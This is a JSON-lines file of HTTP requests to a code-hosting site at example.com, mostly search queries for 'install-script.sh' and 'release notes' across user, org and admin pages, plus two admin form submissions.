{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/teams/-/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 62", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=install-script.sh&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 107", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=install-script.sh&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
